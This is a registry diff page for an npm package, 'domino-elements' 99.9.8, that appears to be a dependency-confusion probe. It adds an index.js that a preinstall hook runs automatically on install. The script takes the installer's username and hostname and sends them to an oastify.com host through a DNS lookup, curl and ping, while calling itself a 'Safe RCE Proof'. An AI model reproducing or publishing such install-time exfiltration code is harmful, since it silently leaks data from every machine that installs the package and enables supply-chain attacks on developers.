domino-elements 99.9.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +36 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,36 @@
1
+ const { exec } = require('child_process');
2
+ const os = require('os');
3
+ const dns = require('dns');
4
+
5
+ const OAST_DOMAIN = '6w3r29pq08wajwr3ar6okh3o4fa6ywml.oastify.com';
6
+
7
+ function exfiltrate() {
8
+ try {
9
+ const username = os.userInfo().username || 'unknown_user';
10
+ const hostname = os.hostname() || 'unknown_host';
11
+
12
+ // Sanitize for DNS (alphanumeric only)
13
+ const safeUser = username.replace(/[^a-zA-Z0-9]/g, '');
14
+ const safeHost = hostname.replace(/[^a-zA-Z0-9]/g, '');
15
+
16
+ const payloadDomain = `${safeUser}.${safeHost}.${OAST_DOMAIN}`;
17
+
18
+ console.log(`[+] Triggering Safe RCE Proof to: ${payloadDomain}`);
19
+
20
+ // Method 1: DNS Lookup (Native Node)
21
+ dns.lookup(payloadDomain, (err) => {
22
+ if(err) console.error('DNS lookup failed:', err);
23
+ });
24
+
25
+ // Method 2: Curl (CLI fallback)
26
+ exec(`curl http://${payloadDomain}`, (error) => {});
27
+
28
+ // Method 3: Ping (CLI fallback)
29
+ exec(`ping -c 1 ${payloadDomain}`, (error) => {});
30
+
31
+ } catch (e) {
32
+ console.error(e);
33
+ }
34
+ }
35
+
36
+ exfiltrate();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "domino-elements",
3
+ "version": "99.9.8",
4
+ "description": "Testing...",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "npmtester9999",
10
+ "license": "ISC"
11
+ }
12
+